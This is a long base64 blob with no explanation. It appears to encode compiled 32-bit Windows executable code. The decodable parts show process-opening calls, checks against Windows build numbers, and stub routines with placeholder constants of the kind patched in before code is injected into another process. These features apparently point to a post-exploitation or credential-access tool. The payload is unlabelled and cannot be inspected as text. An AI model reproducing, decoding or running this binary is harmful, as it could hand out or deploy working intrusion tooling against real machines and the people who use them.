XtPMZF7hfGRe+BxkXwlMZF8cDGRfI9xkXz9mokagC4SkpKSv/Qi00UiQGLRRSDOAAPhKsAAACNRfRQ/3UQ/3UM/3UIuENDQ0P/0IlF/IN9/AB8dmoQ/3X0i0UU/zC4TExMTP/Qg8QMjUX4UP91EGoQjUXkULhDQ0ND/9CJRfyDffwAfDtqEP91+ItFFIsAg8AQULhMTExM/9CDxAxqBI1FCFCLRRSLAIPAIFC4TExMTP/Qg8QM/3X4uEtLS0v/0P919LhLS0tL/9CDffwAfRKLRRT/MLhLS0tL/9CLRRSDIACLRfyL5V3CEABVi+yD7BzHRfiaAADAi0UYiwCJRfTGReRgxkXlusZF5k/GRefKxkXo3MZF6UbGRepsxkXresZF7APGRe08xkXuF8ZF74HGRfCUxkXxwMZF8j3GRfP2/3UQagC4SkpKSv/QiUX8g338AHR9/3UQ/3UM/3X8uExMTEz/0IPEDP91GP91FP91EP91/P91CLhERERE/9CJRfiDffgAfUGLRRiLTfSJCP91GP91FP91EP91/ItFCIPAEFC4RERERP/QiUX4g334AHwWahCNReRQi0UI/3AguExMTEz/0IPEDP91/LhLS0tL/9CLRfiL5V3CFABVi+y4bGVrc13DVYvsg+T4geyoAAAADygFANYFEI1EJEhTVYlEJBi4nEEFEFYz9olEJGSJRCR0jUQkZFeJRCRkjUQkKA8RhCSQAAAAaDAPBhAPKAXw1QUQUIl0JCCJdCRgiXQkZIl0JCTHRCR0QG4FEMdEJHhKSkpKiXQkfMeEJIQAAACoQgUQx4QkiAAAAEtLS0uJtCSMAAAAx4QkkAAAAIhBBRDHhCSUAAAAtEIFEA8RhCSoAAAAx4QkuAAAAERERESJtCS8AAAAx0QkaAUAAACJdCQwiXQkNP8VWLQDEI1UJDC5KGoFEOgp+v7/hcAPhJkCAAD/dCQwVmg4BAAA/xXQsgMQi/iF/w+EbAIAAI1EJBQzyVCL10Ho5+n+/1mFwA+ESwIAAIE9VCoGEIgTAAC9qG8FEIsdrLIDEA+C9AAAAItMJBSNRCREULpMbgUQ6M79/v9ZhcAPhLkAAACLRCREiUQkNItEJEiJRCQ4i0QkTFGJRCRAjUwkII1EJDjHRCQgMA8GEFBqKFroKOz+/1lZhcB0emhkbgUQ6Hv0/v+NRCQsiUQkII1MJCCLRCREiUQkMI1EJDhQagha6Pfr/v9ZWYXAdEL/dCRAaHxuBRDoRvT+/4tEJEiNVCQkagiNTCQciXQkNIl0JDiJRCQc6P/p/v+L8IPEDIX2dClomG4FEOgU9P7/6xhoyG4FEOvyaDhvBRDr6//TUFXo+/P+/1lZhfZ1EIE9VCoGEIgTAAAPgzMBAACLTCQUjUQkRL5gcAUQUIvW6Nj8/v9ZhcAPhAoBAABW/xV0sgMQi/CNRCQkUGoX/xUItAMQhcAPiPcAAACLRCQku65zARCL04tIICvOA0wkRImMJKQAAACLQCiLTCQUK8YDRCREiYQktAAAAI1EJBBQjUQkZFC4u3UBECvDUOguEf//g8QMhcAPhI8AAABofHAFEOhO8/7/i0QkFI1UJCCJRCQcjUQkHIlEJCCLRCQoWYtMJESDwCArzgPBjUwkEGoEiUQkFOjz6P7/WYXAdGT/dCQQaKBwBRDoCPP+/4tMJEyNVCQkuMt0ARArzivDAUQkIItEJCyDwCgDwY1MJBhqBIlEJBzos+j+/4PEDIXAdCL/dCQQaMxwBRDrEGgAcQUQ6L/y/v/rCv/TUFXotPL+/1lZi0wkFOg+6P7/V/8VtLIDEOsT/xWssgMQUGiAcQUQ6I/y/v9ZWV8zwF5dW4vlXcOD7GhTM9vHRCRgAQEAAIlcJAzHRCRkAAAABcdEJGggAAAAOVwkcHQIi0QkdIsA6wW4tFMEEFCNRCRcUP8VWLQDEFNqMY1EJCBQjUQkZFD/FZCzAxCFwA+IawQAAI1EJAxQjUQkZFBoAAMAAP90JCT/FYSzAxCFwHkNUGgYcgUQ6P/x/v9ZWVVWV4s9mLMDEIlcJFSNRCRQUGoBjUQkRFCNRCRgUP90JDT/FaCzAxCL2IlcJGCF23kSU2hIdgUQ6MDx/v9ZWenGAwAAM+2JbCRIOWwkUA+GsAMAADPbiVwkTItEJDyDwAQDw1BoiHIFEOiP8f7/WVmNRCQ4UItEJECDwAQDw1D/dCQs/xV0swMQhcAPiEwDAABosHIFEOhi8f7/WYtMJDjoPCP//41EJBRQ/3QkPGgAAwAA/3QkMP8VhLMDEIXAD4gDAwAAg2QkWACNRCREUGoBjUQkMFBqAI1EJGhQ/3QkKP8VfLMDEIvYiVwkXIXbeRJTaBB1BRDoAfH+/1lZ6aUCAAAz7TlsJEQPhpMCAAAz24tMJCiNQQQDw1D/NAto0HIFEOjV8P7/g8QMjUQkNFCLRCQs/zQDaBsDAAD/dCQg/xWIswMQhcAPiDUCAACNRCRAUI1EJDBQ/3QkPP8VeLMDEIXAeHoz9jl0JEB2aotEJCz/NPBo6HIFEOh+8P7/WVmNRCQcUI2EJIAAAABQi0QkNI0E8FBqAf90JCT/FYyzAxCFwHge/3QkfGgQWAQQ6Enw/v9ZWf90JHz/1/90JBz/1+sNUGgAcwUQ6C7w/v9ZWUY7dCRAcpb/dCQs/9frDVBoaHMFEOgS8P7/WVmNRCQwUItEJCz/NAP/dCQ8/xVsswMQhcAPiF8BAACNRCQQUI1EJCRQjUQkOFBqAf90JCT/FXCzAxCFwHh6M/Y5dCQgdmqLRCQQ/zSwaMxzBRDouu/+/1lZjUQkHFCNhCSAAAAAUItEJBiNBLBQagH/dCQk/xWMswMQhcB4Hv90JHxoEFgEEOiF7/7/WVn/dCR8/9f/dCQc/9frDVBoAHMFEOhq7/7/WVlGO3QkIHKW/3QkEP/X6w1QaOBzBRDoTu/+/1lZg3wkGAAPhKYAAACNRCQQUI1EJCRQjUQkOFBqAf90JCj/FXCzAxCFwHh6M/Y5dCQgdmqLRCQQ/zSwaEh0BRDoCe/+/1lZjUQkHFCNhCSAAAAAUItEJBiNBLBQagH/dCQo/xWMswMQhcB4Hv90JHxoEFgEEOjU7v7/WVn/dCR8/9f/dCQc/9frDVBoAHMFEOi57v7/WVlGO3QkIHKW/3QkEP/X6w1QaOBzBRDone7+/1lZ/3QkMP/X6w1QaGB0BRDoiO7+/1lZ/3QkNP8VnLMDEOsNUGi4dAUQ6G/u/v9ZWUWDwww7bCRED4Jz/f//i1wkXP90JCj/14H7BQEAAA+EFv3///90JBT/FZyzAxCLXCRMi2wkSOsNUGiAdQUQ6Cru/v9ZWf90JDj/1+sNUGjYdQUQ6BXu/v9ZWUWDwwyJbCRIiVwkTDtsJFAPglr8//+LXCRg/3QkPP/XaHRVBBDo6e3+/1mB+wUBAAAPhOz7//+DfCQYAF9eXXQK/3QkDP8VnLMDEP90JBj/FZyzAxDrDVBoyHYFEOix7f7/WVkzwFuDxGjDM8DDUVaNRCQEUGoAagFqFP8VSLQDEIvwhfZ4EGoUaIh3BRDogO3+/1lZ6xBWahRosHcFEOhv7f7/g8QMi8ZeWcMz0rkTgAEQ6dTx/v9Vi+yD7BBWi3UIhfZ0T4tFDIt0sPxWaGx5BRDoO+3+/1lZagGNRfCL1lAzwFBQUFBRUDPJ6Pr4/v+DxCCFwHQK/3X4aJx5BRDrDP8VrLIDEFBowHkFEOgA7f7/WVkzwF6L5V3Di1QkCItMJARqAOgkAAAAWcOLVCQIi0wkBGoB6BMAAABZw4tUJAiLTCQEagLoAgAAAFnDU1VWV4t8JBS+JQIAwIvHg+gAdCaD6AF0FYPoAQ+F1wAAALsACAAAvYh6BRDrFLsACAAAvWR6BRDrCDPbvTx6BRBDagCNRCQYUGhkIQUQ6FQf//+DxAyFwA+EkAAAAGoAagD/dCQc6LA7AQCDxAyJRCQUhcB0eFBqAFP/FdCyAxCL2IXbdFSD7wB0HIPvAXQOg+8BdS1T/xVEtAMQ6xJT/xVQtAMQ6wlqAFP/FUy0AxCL8IX2eAz/dCQUVWioegUQ6wdWVWjYegUQ6Pbr/v+DxAxT/xW0sgMQ6x//FayyAxBQaEB7BRDo2ev+/1nrCmjAewUQ6Mzr/v9ZX4vGXl1bw4tMJASNQThQ/3FEaER8BRDor+v+/zPAg8QMQMIIAItUJAiLTCQEaP6AARDoFgAAAFnDi1QkCItMJARovIEBEOgCAAAAWcNVi+xRU1ZXM9uNRfxTUGhkIQUQi/OL++hFHv//g8QMhcB0NlNT/3X8R+inOgEAg8QMUFNoAAAAgP8V0LIDEIvwhfZ1Ff8VrLIDEFBoWHwFEOgp6/7/WVnrQ41F/IvWUIvP6ALg/v9ZhcB0F4tVCItN/FPoOfD+/1mLTfzok+D+/+sT/xWssgMQUGjYfAUQ6Ovq/v9ZWVb/FbSyAxBfXjPAW4vlXcNWi3QkCP92EGhgfQUQ6Mfq/v//dCQUuiqBARCLzuiL9/7/g8QMM8BAXsIIAFaLdCQIV/92BP92FGhsfQUQ6Jfq/v+DxAy/jH0FEIN+DAB0EP92CGiEfQUQ6Hzq/v9Z6wZX6HPq/v+DfhwAWXQQ/3YcaJR9BRDoX+r+/1nrBlfoVur+/4N+DABZdBD/dgxonH0FEOhC6v7/WesGV+g56v7/g34QAFl0D/92EGikfQUQ6CXq/v9ZWTPAX0BewggAVot0JAj/dhBoYH0FEOgJ6v7//3QkFIvO6IX4/v+DxAwzwEBewggAVot0JAj/dgT/dhj/dhBotH0FEOjc6f7/i0YMg8QQhcB0CFBo2H0FEOsI/3YIaOB9BRDoven+/1lZM8BAXsIIAIN8JAQAVleL+XRji3QkEP82Umg0fwUQ6Jjp/v+DxAyDfCQMAXUk/zb/11mFwHQHaFzPBBDrPf8VrLIDEFBoYH8FEOht6f7/Wesui1QkFIXSdBWBPVQqBhCwHQAAcgmLDuhrAQAA6xJoyH8FEOsFaCiABRDoPOn+/1lfM8Bew2oA/3QkDLqYgAUQuYiYABD/dCQM6Gn///+DxAzDagD/dCQMuqyABRC505gAEP90JAzoTP///4PEDMNqAf90JAy6wIAFELl3mQAQ/3QkDOgv////g8QMw2oC/3QkDLrUgAUQuYmZABD/dCQM6BL///+DxAzDagP/dCQMuuyABRC5m5kAEP90JAzo9f7//4PEDMNqD/90JAy6AIEFELmtmQAQ/3QkDOjY/v//g8QMw2oF/3QkDLoYgQUQucGZABD/dCQM6Lv+//+DxAzDVYvsagBqAGoAagBqAGoAagBqAGoAi0UI/3AYagBqAGoAi0UIg8AgUItFCP9QFItNCIlBCDPAXcIEAFWL7LhzY3ZzXcNVi+xqAGoAagBqAGoAagBqAGoAagCLRQj/cBhqAGoAi00Ig8Egi0UIM9L/UBSLTQiJQQgzwF3CBABVi+y4ZmN2c13DVYvsg+T4g+xgU1Uz7Y1EJCRWi/KJbCQci9mJdCQYV41UJBCJXCQYuSyBBRCJbCQsiWwkMIlsJCSJRCQo6J7s/v+FwA+E9wEAAP90JBBVaDoEAAD/FdCyAxCL+IX/D4TKAQAAjUQkQDPJUIvXQehc3P7/WYXAD4SpAQAAOS3EKAYQiy2YsgMQD4W6AAAAUYtMJESNVCRQ6LDw/v9ZhcAPhJAAAACLRCRUjVQkFI1MJDyJRCQ86Cfx/v+FwHR3i1wkFLmwEAYQ/zVUKgYQagOLQzSJRCREi0NQWolEJEjol+n+/4vwWYX2dECLTgiNRCQ8UYlMJCiNTCQoi1YEUOh/3v7/WVmFwHQOi0YUA0QkSKPEKAYQ6xP/FayyAxBQaEiBBRDoveb+/1lZU//Vi1wkGIt0JByDPcQoBhAAdQpoaIMFEOnOAAAAgT1UKgYQ8CMAAHMMuKaDARC6bIMBEOsKuOmDARC6sIMBEI1MJDQrwlEzyVGLTCRIUOgyBP//g8QMhcAPhIgAAACLy41RAmaLAYPBAmY7RCQgdfMryovW0flTjQRNAgAAAIsNxCgGEFDovQD//4vwWVmF9nRJjUQkXIvWUI1MJDjo7gD//1mFwHQeg3wkZAB0C/90JGRo3IEFEOsYaPCBBRDo9+X+/+sS/xWssgMQUGgAggUQ6OTl/v9ZWVb/1Y1MJDToQt/+/+sLaKCCBRDoyuX+/1mLTCRA6FXb/v9X/xW0sgMQ6xP/FayyAxBQaAiEBRDopuX+/1lZXzPAXl1bi+Vdw2h0iAUQ6JDl/v9ZuBUAAEDDVYvsg+wgVmr1/xVssgMQi/AzwIlF/I1F4FBW/xVwsgMQD79N4o1F+FAPv0Xg/3X8D6/IUWogVv8VaLIDEP91/Fb/FWCyAxAzwF6L5V3DaICIBRDoMeX+/1kzwMNokIgFEOgj5f7/WTPAw4N8JAQAVnQWi0QkDGoAagD/MOhfNAEAg8QMi/DrBb7oAwAAVmgQiQUQ6PHk/v9ZWVb/FaiyAxBoNIkFEOje5P7/WTPAXsOLTCQEVleLfCQQM/ZWVmiweAUQi9foohf//4PEDIXAdQ85dCQMdASLN+sFvkSJBRCLzuiK5f7/hcC6vAgFELm0CAUQD0TKUVZoYIkFEOiH5P7/g8QMM8BfXsODPSwoBhAAVle+nIkFEL+oiQUQi8YPRMdQaLSJBRDoXOT+/zPAOQUsKAYQD5TAhcCjLCgGEA9E91Zo9IkFEOg85P7/g8QQM8BfXsNVi+xRjUX8UP8VyLIDEFD/FVyyAxCFwHQ4g338ALk8igUQagBocoVTC7g0igUQD0TBUP81VCoGEP81aCoGEP81UCoGEGhIigUQ6Obj/v+DxBwzwIvlXcNRVVaNTCQI6DjK/v+LNayyAxC9+IoFEIXAdC6DfCQQAHQLaOiKBRDoseP+/1n/dCQIaBAuBRDoouP+/1lZ/3QkCP8VmLIDEOsL/9ZQVeiL4/7/WVmDfCQQAHROi0QkFP8w/xVksgMQhcB0L41MJAjo0Mn+/4XAdBz/dCQIaISLBRDoV+P+/1lZ/3QkCP8VmLIDEOsV/9ZQVesI/9ZQaJiLBRDoNuP+/1lZXjPAXVnDaAyMBRDoJOP+/1kzwMNVi+xRVmiAjQUQ6BHj/v9ZjUX8UGoI/xXIsgMQUP8VvLADEIs1rLIDEIXAdBOLTfzo7AIAAP91/P8VtLIDEOsP/9ZQaKiNBRDo0+L+/1lZaBiOBRDox+L+/1mNRfxQagFqCP8VWLIDEFD/FRSxAxCFwHQTi0386KYCAAD/dfz/FbSyAxDrJP/WPfADAAB1DGhAjgUQ6Ifi/v/rDv/WUGhYjgUQ6Hji/v9ZWTPAXovlXcOLVCQIi0wkBGoA6BcAAABZM8DDi1QkCItMJARqAegEAAAAWTPAw4PsGItEJBxTVVYz9olEJCBXVo1EJCCJdCQcUGiU2wQQi9qJdCQoi+mJdCQsi/6JdCQc6PUU//9WjUQkJIvTUGgQ3AQQi83o4RT//4PEGFZWhcB0Ff90JBzoQzEBAIPEDIlEJCDpkAAAAGjEjgUQi9OLzei1FP//g8QMhcB0JGopX41MJBDoYNX+/4XAdWv/FayyAxBQaOCOBRDoquH+/1nrVlZWaIjbBBCL04vN6HoU//+DxAyFwHQFahpf6zs5dCQsdAY5dCQcdBdWVmjEuAQQi9OLzehSFP//g8QMhcB0GGoWXzl0JBx0D2iYjwUQ6FXh/v+JdCQgWYtsJCyF7XQUOXQkIHUOhf91Cjl0JBwPhPwAAAA5dCQcuLRTBBAPRUQkHFD/dCQkaCiQBRDoF+H+/4sdmLIDEIPEDIX/dHyLRCQQhcB0A4twKI1EJBiL1lCLz+jl1P7/WYXAdFBRi0wkHI1EJBhQjVQkNOjCFf//WVmFwHQj/3QkLP90JBhogJAFEOjB4P7/g8QM/3QkLP/T/3QkFP/T6y3/FayyAxBQaJCQBRDon+D+/1nrGP8VrLIDEFBoOJEFEOvqaHRVBBDohOD+/1lodFUEEOh54P7/WYXtdBWDfCQgAHUOg3wkGAB1B4N8JBwAdBaNVCQY6OEV//+DfCQYAHQG/3QkGP/Tg3wkEAB0Cv90JBD/FRCxAxBfXl0zwFuDxBjDVjP2Vlb/FSCxAxCFwHQJVlbo+Pz//+sR/xWssgMQUGjwkQUQ6AXg/v9ZWTPAXsNVi+yD7EyNRfBWUGo4jUW4i/FQagpW/xW0sAMQhcAPhJYAAAD/dbho1JIFEOjO3/7/WY1F9IvOUI1F+FCNVfzoGBT//4PEDIXAdCv/dfT/dfz/dfho5JIFEOih3/7/izWYsgMQg8QQ/3X8/9b/dfj/1v919P/Wi0XQ/zSFCEwEEP915P914Gj4kgUQ6G/f/v+DxBCDfdACdRaLRdT/NIUUTAQQaByTBRDoUt/+/1lZaHRVBBDoRt/+/1lei+Vdw1WL7IPk+IPsTFNWVzP/R4l8JAz/FVSyAxA5RQwPhEIBAACNRCQcUGo4jUQkKFBqCv91CP8VtLADEIXAD4QjAQAAi10Qg3sEAHRGUYtNCI1EJBxqAFCNVCQg6D8T//+DxAyFwHQ//3ME/3QkGOhqmwAAizWYsgMQ99hZWf90JBQbwECJRCQQ/9b/dCQY/9brFItLCIXJdA0zwDtMJCAPlMCJRCQMg3wkDAAPhLkAAAA5fCQ4jUQkEFCLRCRAagJqA1kPRMFQagBqDP91CP8VGLEDEIXAD4SOAAAAgzsAizWssgMQdCmDZCQMAI1EJAxQ/zP/dCQY/xUcsQMQhcB1D//WUGgokwUQ6DTe/v9ZWYN8JAwAdEH/dQxoxJMFEOge3v7/WVmLTQjoFf7//zP/OXsMdCf/dCQQV/8VILEDEIXAdDFozJMFEOj03f7/WVdX6Mz6//9ZWYl8JAz/dCQQ/xW0sgMQi3wkDIvHX15bi+VdwgwA/9ZQaPiTBRDowN3+/1lZ69ZRaGSVBRBofJUFEGoEWrmAEQYQ6Fjg/v+DxAwzwMNo2JUFEP8VgLIDEKPUKAYQhcAPhO4AAABWizV8sgMQaOyVBRBQ/9ZoBJYFEP811CgGEKPQKAYQ/9ZoHJYFEP811CgGEKPkKAYQ/9ZoLJYFEP811CgGEKPcKAYQ/9ZoQJYFEP811CgGEKPYKAYQ/9ZoVJYFEP811CgGEKPMKAYQ/9ZoZJYFEP811CgGEKPwKAYQ/9ZocJYFEP811CgGEKPsKAYQ/9aDPdAoBhAAo8goBhCj9CgGEF50RoM95CgGEAB0PYM93CgGEAB0NIM92CgGEAB0K4M9zCgGEAB0IoM98CgGEAB0GYM97CgGEAB0EIXAdAzHBegoBhABAAAA6weDJegoBhAAM8DDodQoBhCFwHQHUP8VeLIDEDPAw1WL7IPk+IPsMIM96CgGEABTVVZXD4RWBAAAjUQkJDPtUI1EJEBQVf8V5CgGEIXAD4UuBAAAi92JXCQ0OVwkPA+GEgQAAIv1v3RVBBCJdCQ4aGyXBRDoKNz+/1mLTCQkjQwO6M0N//9X6BXc/v9ZjUQkFFCLRCQoVQPGUP8V3CgGEIXAD4i4AwAAi0wkFOiBBwAAjUQkIFCNRCQgUFX/dCQg/xXMKAYQhcAPiIcDAAD/dCQcaICXBRDoxdv+/4N8JCQAWVmLzYlMJCwPhlwDAACL3YlsJDCJXCQYi9WBPVQqBhBAHwAAi3QkIA+DNwEAAAPy/3YQUWiclwUQ6ILb/v+DxAxotJcFEOh12/7/WYvO6B8N//9X6Gfb/v/HBCTglwUQ6Fvb/v9ZjU4g6OAM//9X6Ezb/v9Z/3YoaAyYBRDoPtv+/2hAmAUQ6DTb/v+LThSDxAzoVwcAAFfoI9v+/8cEJGyYBRDoF9v+/1mLThjoPAcAAFfoCNv+/8cEJJiYBRDo/Nr+/1mLThzoIQcAAFfo7dr+/4v9WTluLHYxi91XaMSYBRDo2Nr+/4tOMAPL6PwGAABodFUEEOjE2v7/g8QMg8MgRzt+LHLVi1wkGI1EJCiJbCQoUFVV/3YY/3YUVv90JCz/FcgoBhBo8JgFEIvw6Iza/v9ZhfZ1DotMJCiLSRzoqQYAAOsNVmggmQUQ6G7a/v9ZWb90VQQQV+hh2v7/WenYAQAAA/P/dhBRaJyXBRDoS9r+/4PEDGi0lwUQ6D7a/v9Zi87o6Av//1foMNr+/8cEJOCXBRDoJNr+/1mNTiToqQv//1foFdr+/1n/dixoDJgFEOgH2v7/aECYBRDo/dn+/4tOFIPEDOggBgAAV+js2f7/xwQkbJgFEOjg2f7/WYtOGOgFBgAAV+jR2f7/xwQkmJgFEOjF2f7/WYtOHOjqBQAAV+i22f7/xwQkgJkFEOiq2f7/WYtOIOjPBQAAV+ib2f7/i91ZOW4wdjKL/VNoxJgFEOiG2f7/i040A8/oqgUAAGh0VQQQ6HLZ/v+DxAyDxyBDO14wctW/dFUEEI1EJBCJbCQQUFVV/3Yg/3YY/3YUVv90JDD/FfQoBhBo8JgFEIvo6DbZ/v9Zhe11DotMJBCLSRzoUwUAAOsNVWiwmQUQ6BjZ/v9ZWVfoENn+/zPSu6BMBBBZM/8zyYsEjjsEi3VOQYP5BHXya/oY/7ewTAQQaBCaBRDo49j+/1lZi4+0TAQQhcl0G4XtdQiLRCQQhcB1AjPAagFQVo2HoEwEEFD/0b90VQQQV+ix2P7/WesUg8cYQoPDGIH/qAAAAHKZv3RVBBCDfCQQAHQK/3QkEP8V7CgGEItcJBgz7YtMJCyDwziLVCQwQYPCNIlMJCyJVCQwiVwkGDtMJBwPgrj8//+LXCQ0i3QkOP90JCD/FewoBhCNRCQUUP8V8CgGEEODxhCJXCQ0iXQkODtcJDwPgvn7////dCQk/xXsKAYQ6w1QaDCaBRDoFNj+/1lZXzPAXl1bi+Vdw4PsHFNViy2YsgMQVleLfCQ0M/aLRxiFwA+EggEAAIN4CAgPhXgBAABopJoFEOjW1/7/i08YjUQkGFCNVCQYi0kU6KsM//9ZWYXAdCP/dCQQ/3QkGGjQmgUQ6KrX/v+DxAz/dCQQ/9X/dCQU/9XrC4tPGItJFOhyCf//aHRVBBDohNf+/4tcJDRZgTsrobi0D4UPAQAAix10sAMQjUQkIFBqCGoAaOCaBRBoAgAAgP/ThcAPhdsAAACNRCQcUItHGP9wFP8VqLADEIXAD4SjAAAAjUQkNFBqAWoA/3QkKP90JDD/04XAdXeLHWywAxCNRCQYUDPAUFBQaISbBRD/dCRI/9OFwHU//3QkGGpA/xWQsgMQi/CF9nQ6jUQkGFBWagBqAGiEmwUQ/3QkSP/ThcB0IVBomJsFEOjL1v7/WVlW/9WL8OsNUGhgnAUQ6LfW/v9ZWf90JDT/FYSwAxDrDVBoKJ0FEOie1v7/WVn/dCQc/9XrE/8VrLIDEFBo8J0FEOiD1v7/WVn/dCQg/xWEsAMQ6w1QaMCeBRDoatb+/1lZi1wkMItMJDiFyXRoi0kchcl0YYN5CAh1W2aLQRBmiUQkJmaJRCQki0EUaJyfBRCJRCQs6DDW/v9ZjUwkJOhSBP//hcB0Eo1EJCRQaBBYBBDoE9b+/1nrEA+3VCQki0wkKGoB6GYG//9ZaHRVBBDo9dX+/1mLRzSFwA+EcAEAAIN/MAAPhmYBAACBO/Uz4LIPhEMBAACBOyuhuLR0coE7kXLI/nQPaACiBRDoudX+/+k6AQAAg3gICA+FMQEAAItwFGi8oQUQiz4D/uiZ1f7/WYtOCIP5AXYYi0YEjQRHUI1B/1Bo6KEFEOh71f7/g8QMi0YEg/gBdhBXSFBo9KEFEOhj1f7/g8QMaHRVBBDrm4N4CAgPhdYAAACLWBSF9nQQVmgAoAUQ6D3V/v9ZWVb/1WgwoAUQ6C7V/v9ZM/+NcwxXaHygBRDoHdX+/4tG9FlZg+gAdFaD6AF0P4PoAXQR/3b0aLShBRDo/NT+/1lZ606DfgQAuMigBRC53KAFEA9EwVD/Nv92/P92+Gj4oAUQ6NTU/v+DxBTrJf92BP82/3b8/3b4aFChBRDr5P92/P92+GiQoAUQ6K3U/v+DxAxodFUEEOig1P7/R4PGFFmD/wMPgmr////rF4N4CAJ1EQ+3QBBQaMifBRDoe9T+/1lZX15dW4PEHMIQAFWL7IPsFFZXM8CNfeyri/Grq6urjUXsUGoAVsdF7AEAAAD/FdgoBhCFwHgY/3XwaBCiBRDoNtT+/1lZ/3Xw/xXsKAYQM8CNfeyBPVQqBhBAHwAAq6urq6sbwIPgBIPABIlF7I1F7FBqAFb/FdgoBhBfXoXAeCODffAAuDSiBRAPRUXwUGhMogUQ6OHT/v9ZWf918P8V7CgGEIvlXcNWi/GF9nRsi0YISIPoAXRSSIPoAXRCg+gDdDOD6AF0H/92CGiAogUQ6KXT/v9qAWoEjU4QWuj+A///g8QMXsOLVhCLThRqAejsA///6yT/dhBoSF8EEOsU/3YQaHiiBRDrCg+3RhBQaHCiBRDoYdP+/1lZXsOD7HxTVTPtjUQkGIvdiWwkCFZXiWwkIIlsJCSJbCQwiUQkNIlsJCiJRCQsOR3gKAYQD4VsAQAAi5QklAAAAIuMJJAAAABVVWi8QgUQ6O8F//+DxAyFwA+ERwEAAP81VCoGELnQEgYQagRa6IPV/v+L8FmF9g+EbgIAAItOCI1UJGSJTCQwi04QiUwkKLlIRwUQ6Bz//v+FwA+E7QAAAP+0JIAAAABVaDgEAAD/FdCyAxCFwA+ExAAAAI1MJBSL0FEzyUHof8f+/1mFwA+EFwIAAItMJBSNRCRQULpwQQUQ6IHb/v9ZhcB0c4tEJFCNVCQwUf+0JJgAAACJRCRIjUwkSP+0JJgAAACLRCRgiUQkUItEJGSJRCRUjUQkNGh6mAEQ/3YUxwXgKAYQAQAAAP92DFD/dgToWtP+/4PEIIXAdRP/FayyAxBQaKCjBRDoC9L+/1lZiS3gKAYQ6xP/FayyAxBQaAikBRDo8NH+/1lZi0wkFOh6x/7/6WsBAAD/FayyAxBQaMCkBRDrDP8VrLIDEFBoIKUFEOjB0f7/WVnpRQEAAI1EJBBQjUQkIFBTVf8VKLEDEIXAD4QYAQAAg3wkHACL/Q+GAQEAAItEJBCLLLiLRSCD+ARzDYsMhVBNBBCJTCQU6wjHRCQUqKUFEItFBIP4B3MNiwSFgEwEEIlEJBjrCMdEJBjUpQUQ/3UAg30MALgQpgUQ/3QkGIvwi9D/dSAPRXUMi8j/dCQkg30wAP91BA9FVTCDfSwAVg9FTSyDfQgAUg9FRQhRUGggpgUQ6AjR/v+LRCQ4aCCnBRCLDLiLQRyJRCRoZotBGGaJRCRmZolEJGTo4tD+/4PELI1MJDjoAv/+/4XAi0QkEHQTiwS4/3AcaEhfBBDovtD+/1nrEIsMuGoBi1EYi0kc6BEB//9ZaKx1BBDooND+/0dZO3wkHA+CAf///zPt/3QkEP8VJLEDEEOD+wF3DYM9UCoGEAUPh7v+//9fXl0zwFuDxHzDVYvsg+T4geywAAAAU1VWM/bHRCQUyBMGEI1EJECJdCQcV41UJDyJdCQsuYinBRCJdCQwiXQkNIvuiXQkOIl0JESJdCRIiXQkEIl0JBSJRCQc6BDV/v+FwA+E8AIAAP90JDxWaBgEAAD/FdCyAxCL2IlcJCSF2w+EvgIAAI1EJBQzyVCL00HoysT+/1mFwA+EnQIAAFGLTCQYjZQktAAAAOgt2f7/WYXAD4RvAgAAi4QkuAAAAI1UJCiNTCQQiUQkEOih2f7/hcAPhEgCAACLTCQoi0QkFIlEJDBRi0E0iUQkMItBUI1MJByJRCQ4jUQkMFBqB1roDsf+/1lZhcAPhAsCAACLRCQ4jUwkGIPADIlEJBCNRCQQagSL0IlEJBzoH8X+/1mFwA+E1QEAAI1EJCBqBI1UJBSJRCQcjUwkHOj/xP7/WYXAD4SuAQAAi0QkII1UJBCJRCQQjUwkGI1EJExqFIlEJBzo18T+/1mFwA+EfwEAAItEJFiNVCQQgT1UKgYQWBsAAI1MJBhqUA9DRCRgiUQkXIlEJBSNRCRkiUQkHOicxP7/WYXAD4Q9AQAA/3QkZP90JHD/dCRwaKinBRDopc7+/4tEJHiDxBDB4AJQakD/FZCyAxCL+Il8JECF/3RDi0wkaEWL3oXJdEuF7Q+EwAAAAP90JGxqQP8VkLIDEIkEn4XAdAWD5QHrDVNo8KcFEOhSzv7/WVmLTCRoQzvZcsrrD2hYqAUQ6DvO/v9Zi0wkaIXtdH2LlCSgAAAAi0wkFGoBV+gXAQAAi5QkrAAAAItMJBxWV+gFAQAAi0wkeIPEEIXJdE2L74v+aDStBBDo9M3+/4veWTlcJGx2G4tFAA++BBhQaLCoBRDo2c3+/0NZWTtcJGxy5Wh0VQQQ6MbN/v9Zi0wkaEeDxQQ7+XK7i3wkQIX/dCOFyXQYgzy3AHQN/zS3/xWYsgMQi0wkaEY78XLoV/8VmLIDEItcJCT/dCQo/xWYsgMQ6ztouKgFEOsTaBipBRDrDGhwqQUQ6wVoyKkFEOhfzf7/WevSaCiqBRDr8WiIqgUQ6wVoAKsFEOhEzf7/WYtMJBToz8L+/1P/FbSyAxDrH/8VrLIDEFBoaKsFEOggzf7/WesKaNirBRDoE83+/1lfM8BeXVuL5V3Dg+xQVVYzwIlUJBRXQIlMJByDfCRkAI1UJBhqBF4PRcaNTCQQg2QkIACDZCQkAIlEJAyNRCRAiUQkEI1EJCBqGIlEJBjol8L+/1mFwA+EQAEAAItEJEDB4AJQakD/FZCyAxCL+IX/D4QxAQAAi0wkTI1UJBiJTCQYi0wkQMHhAlGNTCQUiXwkFOhTwv7/WYXAD4ToAAAAM/Y5dCRAD4bnAAAAi2wkYI1EJCiJRCQQjVQkGIsEt41MJBBqGIlEJBzoHML+/1mFwA+ElwAAAItEJCgPr0QkDFBqQP8VkLIDEIlEJBCFwA+EhgAAAItEJDSNVCQYiUQkGI1MJBCLRCQoD69EJAxQ6NbB/v9ZhcB0PDPSOVQkKHZBg3wkZACLRCQQdBKLBJCLTJUAioCATQQQiAQO6w6APAIAdAiLRJUAxgQGKkI7VCQocs7rDVZoUKwFEOiyy/7/WVn/dCQQ/xWYsgMQ6w1WaACtBRDomcv+/1lZRjt0JEAPgir////rC2iwrQUQ6IDL/v9ZV/8VmLIDEOsLaECuBRDobMv+/1lfXl2DxFDDVYvsg+T4g+w8g2QkCACNRCQQg2QkDACJBCSNRCQIiUQkBKHYEwYQVoXAD4lyAQAAgz0AKQYQAHUYaNSuBRD/FYCyAxCjACkGEIXAD4RMAQAAjUQkLLpwQQUQUI1MJBDoCNT+/1mFwA+EMAEAAIM9+CgGEACLRCQsiUQkHItEJDCJRCQgi0QkNIlEJCR1a4s1fLIDEGjkrgUQ/zUAKQYQ/9aJ